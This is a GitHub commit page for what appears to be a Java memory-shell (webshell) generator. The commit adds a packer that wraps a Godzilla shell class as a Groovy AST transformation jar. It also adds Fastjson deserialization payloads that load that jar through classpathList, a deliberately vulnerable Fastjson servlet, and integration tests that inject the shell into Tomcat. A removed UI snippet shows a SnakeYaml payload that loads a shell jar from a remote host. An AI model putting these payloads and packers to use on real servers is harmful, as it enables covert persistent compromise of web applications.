Skip to content

Commit 81d9cd1

Browse files
committed
feat: support GroovyTransformJar packer
1 parent cf75b8b commit 81d9cd1

File tree

10 files changed

+259
-27
lines changed

10 files changed

+259
-27
lines changed

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

Lines changed: 26 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -11,10 +11,7 @@
1111
import com.reajason.javaweb.memshell.config.*;
1212
import com.reajason.javaweb.packer.JarPacker;
1313
import com.reajason.javaweb.packer.Packers;
14-
import com.reajason.javaweb.packer.jar.AgentJarPacker;
15-
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
16-
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
17-
import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker;
14+
import com.reajason.javaweb.packer.jar.*;
1815
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
1916
import com.reajason.javaweb.suo5.Suo5Manager;
2017
import lombok.SneakyThrows;
@@ -129,6 +126,30 @@ public static void packerResultAndInject(MemShellResult generateResult, String u
129126
" !!java.net.URL [\"file://" + jarPath + "\"]\n" +
130127
" ]]\n" +
131128
"]";
129+
} else if (packer.getInstance() instanceof GroovyTransformJarPacker) {
130+
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
131+
Path tempJar = Files.createTempFile("temp", "jar");
132+
Files.write(tempJar, bytes);
133+
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
134+
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
135+
FileUtils.deleteQuietly(tempJar.toFile());
136+
VulTool.postIsOk(url + "/fastjson", """
137+
{
138+
"@type":"java.lang.Exception",
139+
"@type":"org.codehaus.groovy.control.CompilationFailedException",
140+
"unit":{
141+
}
142+
}""");
143+
content = "{\n" +
144+
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
145+
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
146+
" \"config\":{\n" +
147+
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
148+
" \"classpathList\":[\"file://" + jarPath + "\"]\n" +
149+
" },\n" +
150+
" \"gcl\":null,\n" +
151+
" \"destDir\": \"/tmp\"\n" +
152+
"}";
132153
} else if (packer.getInstance() instanceof XalanAbstractTransletPacker) {
133154
String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig());
134155
content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]";
@@ -396,6 +417,7 @@ public static void injectIsOk(String url, String shellType, String shellTool, St
396417
case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content);
397418
case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
398419
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
420+
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
399421
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
400422
case Base64 -> VulTool.postIsOk(url + "/b64", content);
401423
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -54,6 +54,7 @@ static Stream<Arguments> casesProvider() {
5454
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
5555
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
5656
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar),
57+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.GroovyTransformJar),
5758
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker)
5859
);
5960
}
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
package com.reajason.javaweb.asm;
2+
3+
import org.objectweb.asm.*;
4+
5+
import java.util.ArrayList;
6+
import java.util.HashMap;
7+
import java.util.List;
8+
import java.util.Map;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2025/12/6
13+
*/
14+
public class ClassAnnotationUtils {
15+
16+
public static byte[] setAnnotation(byte[] bytes, String annotationClassName) {
17+
ClassReader cr = new ClassReader(bytes);
18+
ClassWriter cw = new ClassWriter(cr, 0);
19+
ClassVisitor cv = new AddAnnotationClassVisitor(cw, annotationClassName);
20+
cr.accept(cv, 0);
21+
return cw.toByteArray();
22+
}
23+
24+
static class AddAnnotationClassVisitor extends ClassVisitor {
25+
private final String annotationClassName;
26+
27+
public AddAnnotationClassVisitor(ClassVisitor cv, String annotationClassName) {
28+
super(Opcodes.ASM9, cv);
29+
this.annotationClassName = annotationClassName.replace('.', '/');
30+
}
31+
32+
@Override
33+
public void visit(
34+
int version, int access, String name,
35+
String signature, String superName, String[] interfaces) {
36+
37+
super.visit(version, access, name, signature, superName, interfaces);
38+
super.visitAnnotation(
39+
"L" + annotationClassName + ";",
40+
true
41+
).visitEnd();
42+
}
43+
}
44+
45+
public static List<AnnotationInfo> getAnnotations(byte[] classBytes) {
46+
ClassReader cr = new ClassReader(classBytes);
47+
AnnotationCollectingVisitor cv = new AnnotationCollectingVisitor();
48+
cr.accept(cv, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
49+
return cv.getAnnotations();
50+
}
51+
52+
public static class AnnotationInfo {
53+
public final String desc;
54+
public final Map<String, Object> values = new HashMap<>();
55+
56+
public AnnotationInfo(String desc) {
57+
this.desc = desc;
58+
}
59+
}
60+
61+
public static class AnnotationCollectingVisitor extends ClassVisitor {
62+
63+
private final List<AnnotationInfo> annotations = new ArrayList<>();
64+
65+
public AnnotationCollectingVisitor() {
66+
super(Opcodes.ASM9);
67+
}
68+
69+
public List<AnnotationInfo> getAnnotations() {
70+
return annotations;
71+
}
72+
73+
@Override
74+
public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) {
75+
AnnotationInfo info = new AnnotationInfo(descriptor);
76+
annotations.add(info);
77+
78+
return new AnnotationVisitor(Opcodes.ASM9) {
79+
@Override
80+
public void visit(String name, Object value) {
81+
info.values.put(name, value);
82+
}
83+
84+
@Override
85+
public AnnotationVisitor visitArray(String name) {
86+
List<Object> array = new ArrayList<>();
87+
info.values.put(name, array);
88+
89+
return new AnnotationVisitor(Opcodes.ASM9) {
90+
@Override
91+
public void visit(String name, Object value) {
92+
array.add(value);
93+
}
94+
};
95+
}
96+
};
97+
}
98+
}
99+
}
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
package com.reajason.javaweb.asm;
2+
3+
import lombok.SneakyThrows;
4+
import net.bytebuddy.ByteBuddy;
5+
import org.junit.jupiter.api.Test;
6+
7+
import java.util.List;
8+
9+
import static org.junit.jupiter.api.Assertions.assertEquals;
10+
11+
/**
12+
* @author ReaJason
13+
* @since 2025/12/6
14+
*/
15+
class ClassAnnotationUtilsTest {
16+
@Test
17+
@SneakyThrows
18+
void test() {
19+
String interfaceName = "javax.script.ScriptEngineFactory";
20+
byte[] bytes = new ByteBuddy().redefine(ClassInterfaceUtilsTest.EmptyInterface.class).make().getBytes();
21+
List<ClassAnnotationUtils.AnnotationInfo> rawAnnotations = ClassAnnotationUtils.getAnnotations(bytes);
22+
byte[] newBytes = ClassAnnotationUtils.setAnnotation(bytes, interfaceName);
23+
List<ClassAnnotationUtils.AnnotationInfo> annotations = ClassAnnotationUtils.getAnnotations(newBytes);
24+
assertEquals(0, rawAnnotations.size());
25+
assertEquals(1, annotations.size());
26+
assertEquals("Ljavax/script/ScriptEngineFactory;", annotations.get(0).desc);
27+
}
28+
}

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -177,6 +177,7 @@ public enum Packers {
177177

178178
Jar(new DefaultJarPacker()),
179179
ScriptEngineJar(new ScriptEngineJarPacker()),
180+
GroovyTransformJar(new GroovyTransformJarPacker()),
180181

181182
XxlJob(new XxlJobPacker()),
182183
;
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package com.reajason.javaweb.packer.jar;
2+
3+
import com.reajason.javaweb.asm.ClassAnnotationUtils;
4+
import com.reajason.javaweb.asm.ClassInterfaceUtils;
5+
import com.reajason.javaweb.packer.JarPacker;
6+
import com.reajason.javaweb.packer.JarPackerConfig;
7+
import lombok.SneakyThrows;
8+
9+
import java.io.ByteArrayOutputStream;
10+
import java.nio.charset.StandardCharsets;
11+
import java.util.jar.JarEntry;
12+
import java.util.jar.JarOutputStream;
13+
import java.util.jar.Manifest;
14+
15+
/**
16+
* @author ReaJason
17+
* @since 2025/12/6
18+
*/
19+
public class GroovyTransformJarPacker implements JarPacker {
20+
@Override
21+
@SneakyThrows
22+
public byte[] packBytes(JarPackerConfig config) {
23+
String mainClassName = config.getMainClassName();
24+
byte[] mainClassBytes = config.getClassBytes().get(mainClassName);
25+
mainClassBytes = ClassInterfaceUtils.addInterface(mainClassBytes, "org.codehaus.groovy.transform.ASTTransformation");
26+
mainClassBytes = ClassAnnotationUtils.setAnnotation(mainClassBytes, "org.codehaus.groovy.transform.GroovyASTTransformation");
27+
28+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
29+
try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) {
30+
targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class"));
31+
targetJar.write(mainClassBytes);
32+
targetJar.closeEntry();
33+
34+
targetJar.putNextEntry(new JarEntry("META-INF/services/org.codehaus.groovy.transform.ASTTransformation"));
35+
targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8));
36+
targetJar.closeEntry();
37+
}
38+
return outputStream.toByteArray();
39+
}
40+
}

vul/vul-webapp-deserialize/build.gradle.kts

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,8 @@ dependencies {
3131
implementation("org.yaml:snakeyaml:1.27")
3232
implementation("com.alibaba:fastjson:1.2.47")
3333
implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0")
34+
implementation("org.codehaus.groovy:groovy:3.0.6")
35+
implementation("com.alibaba:fastjson:1.2.80")
3436
implementation("xalan:xalan:2.7.2")
3537
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
3638
testImplementation(libs.junit.jupiter)
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
import com.alibaba.fastjson.JSONObject;
2+
3+
import javax.servlet.ServletException;
4+
import javax.servlet.annotation.WebServlet;
5+
import javax.servlet.http.HttpServlet;
6+
import javax.servlet.http.HttpServletRequest;
7+
import javax.servlet.http.HttpServletResponse;
8+
import java.io.IOException;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2025/12/06
13+
*/
14+
@WebServlet("/fastjson")
15+
public class FastjsonServlet extends HttpServlet {
16+
@Override
17+
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
18+
String data = req.getParameter("data");
19+
try {
20+
JSONObject.parse(data);
21+
} catch (Exception ignored) {
22+
}
23+
}
24+
}
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
import com.alibaba.fastjson.JSONObject;
2+
import org.junit.jupiter.api.Test;
3+
4+
/**
5+
* @author ReaJason
6+
* @since 2025/12/6
7+
*/
8+
class FastjsonServletTest {
9+
@Test
10+
void test() {
11+
String json = "{\n" +
12+
" \"@type\":\"java.lang.Exception\",\n" +
13+
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
14+
" \"unit\":{\n" +
15+
" }\n" +
16+
"}";
17+
18+
try {
19+
JSONObject.parse(json);
20+
} catch (Exception e) {
21+
//e.printStackTrace();
22+
}
23+
String data = "{\n" +
24+
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
25+
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
26+
" \"config\":{\n" +
27+
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
28+
" \"classpathList\":[\"file:/Users/reajason/Downloads/TomcatGodzillaMemShell.jar\"]\n" +
29+
" },\n" +
30+
" \"gcl\":null,\n" +
31+
" \"destDir\": \"/tmp\"\n" +
32+
"}";
33+
// JSONObject.parse(data);
34+
}
35+
}

web/app/components/memshell/results/jar-result.tsx

Lines changed: 3 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ export function JarResult({
3030
<ol className="list-decimal list-inside space-y-4 text-sm">
3131
<li className="flex items-center justify-between">
3232
<span>
33-
{t("common:download")} shell.jar (
33+
{t("common:download")} {packMethod}Shell.jar (
3434
{formatBytes(atob(packResult).length)})
3535
</span>
3636
<Button
@@ -50,28 +50,8 @@ export function JarResult({
5050
</Button>
5151
</li>
5252
<Separator />
53-
{isPureJar ? (
54-
<>
55-
<li>{t("memshell:tips.download-jar")}</li>
56-
<li>{t("memshell:tips.trigger-injector-class-loading")}</li>
57-
</>
58-
) : (
59-
<>
60-
<li>{t("memshell:tips.download-jar")}</li>
61-
<li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
62-
<CodeViewer
63-
code={`!!javax.script.ScriptEngineManager [
64-
!!java.net.URLClassLoader [[
65-
!!java.net.URL ["http://yourhost/shell.jar"]
66-
]]
67-
]`}
68-
language="java"
69-
showLineNumbers={false}
70-
wrapLongLines={true}
71-
header={<div className="text-xs">SnakeYaml Payload</div>}
72-
/>
73-
</>
74-
)}
53+
<li>{t("memshell:tips.download-jar")}</li>
54+
<li>{t("memshell:tips.trigger-injector-class-loading")}</li>
7555
</ol>
7656
</CardContent>
7757
</Card>

0 commit comments

Comments
 (0)